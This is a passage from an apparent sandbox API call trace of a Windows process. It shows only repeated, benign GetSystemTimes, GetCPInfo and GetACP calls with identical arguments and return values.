| out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.635] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.636] GetACP () returned 0x4e4 [0047.636] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.636] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.636] GetACP () returned 0x4e4 [0047.636] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.636] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.636] GetACP () returned 0x4e4 [0047.636] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.636] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.636] GetACP () returned 0x4e4 [0047.636] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.636] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.636] GetACP () returned 0x4e4 [0047.636] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.636] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.636] GetACP () returned 0x4e4 [0047.636] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.636] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.636] GetACP () returned 0x4e4 [0047.636] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.636] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.636] GetACP () returned 0x4e4 [0047.636] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.636] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.636] GetACP () returned 0x4e4 [0047.636] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.636] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.637] GetACP () returned 0x4e4 [0047.637] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.637] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.637] GetACP () returned 0x4e4 [0047.637] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.637] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.637] GetACP () returned 0x4e4 [0047.637] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.637] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.637] GetACP () returned 0x4e4 [0047.637] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.637] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.637] GetACP () returned 0x4e4 [0047.637] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.637] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.637] GetACP () returned 0x4e4 [0047.637] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.637] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.637] GetACP () returned 0x4e4 [0047.637] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.637] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.637] GetACP () returned 0x4e4 [0047.637] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.637] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.637] GetACP () returned 0x4e4 [0047.637] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.637] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.638] GetACP () returned 0x4e4 [0047.638] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.638] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.638] GetACP () returned 0x4e4 [0047.638] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.638] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.638] GetACP () returned 0x4e4 [0047.638] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.638] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.638] GetACP () returned 0x4e4 [0047.638] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.638] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.638] GetACP () returned 0x4e4 [0047.638] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.638] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.638] GetACP () returned 0x4e4 [0047.638] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.638] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.638] GetACP () returned 0x4e4 [0047.638] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.638] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.638] GetACP () returned 0x4e4 [0047.638] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.638] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.638] GetACP () returned 0x4e4 [0047.638] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.638] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.639] GetACP () returned 0x4e4 [0047.639] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.639] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.639] GetACP () returned 0x4e4 [0047.639] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.639] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.639] GetACP () returned 0x4e4 [0047.639] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.639] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.639] GetACP () returned 0x4e4 [0047.639] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.639] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.639] GetACP () returned 0x4e4 [0047.639] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.639] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.639] GetACP () returned 0x4e4 [0047.639] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.639] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.639] GetACP () returned 0x4e4 [0047.639] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.639] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.639] GetACP () returned 0x4e4 [0047.639] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.639] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.639] GetACP () returned 0x4e4 [0047.639] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.640] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.640] GetACP () returned 0x4e4 [0047.640] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.640] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.640] GetACP () returned 0x4e4 [0047.640] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.640] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.640] GetACP () returned 0x4e4 [0047.640] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.640] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.640] GetACP () returned 0x4e4 [0047.640] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.640] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.640] GetACP () returned 0x4e4 [0047.640] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.640] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.640] GetACP () returned 0x4e4 [0047.640] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.640] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.640] GetACP () returned 0x4e4 [0047.640] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.640] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.640] GetACP () returned 0x4e4 [0047.640] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.640] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.640] GetACP () returned 0x4e4 [0047.640] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.641] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.641] GetACP () returned 0x4e4 [0047.641] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.641] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.641] GetACP () returned 0x4e4 [0047.641] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.641] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.641] GetACP () returned 0x4e4 [0047.641] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.641] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.641] GetACP () returned 0x4e4 [0047.641] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.641] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.641] GetACP () returned 0x4e4 [0047.641] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.641] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.641] GetACP () returned 0x4e4 [0047.641] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.641] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.641] GetACP () returned 0x4e4 [0047.641] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.641] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.641] GetACP () returned 0x4e4 [0047.641] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.641] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.641] GetACP () returned 0x4e4 [0047.641] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.642] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.642] GetACP () returned 0x4e4 [0047.642] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.642] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.642] GetACP () returned 0x4e4 [0047.642] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.642] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.642] GetACP () returned 0x4e4 [0047.642] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.642] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.642] GetACP () returned 0x4e4 [0047.642] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.642] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.642] GetACP () returned 0x4e4 [0047.642] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.642] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.642] GetACP () returned 0x4e4 [0047.642] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.642] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.642] GetACP () returned 0x4e4 [0047.642] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.642] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.642] GetACP () returned 0x4e4 [0047.642] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.642] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.642] GetACP () returned 0x4e4 [0047.642] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.643] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.643] GetACP () returned 0x4e4 [0047.643] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.643] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.643] GetACP () returned 0x4e4 [0047.643] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.643] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.643] GetACP () returned 0x4e4 [0047.643] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.643] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.643] GetACP () returned 0x4e4 [0047.643] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.643] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.643] GetACP () returned 0x4e4 [0047.643] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.643] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.643] GetACP () returned 0x4e4 [0047.643] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.643] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.643] GetACP () returned 0x4e4 [0047.643] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.643] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.643] GetACP () returned 0x4e4 [0047.643] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.643] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.643] GetACP () returned 0x4e4 [0047.643] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.644] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.644] GetACP () returned 0x4e4 [0047.644] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.644] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.644] GetACP () returned 0x4e4 [0047.644] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.644] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.644] GetACP () returned 0x4e4 [0047.644] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.644] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.644] GetACP () returned 0x4e4 [0047.644] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.644] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: 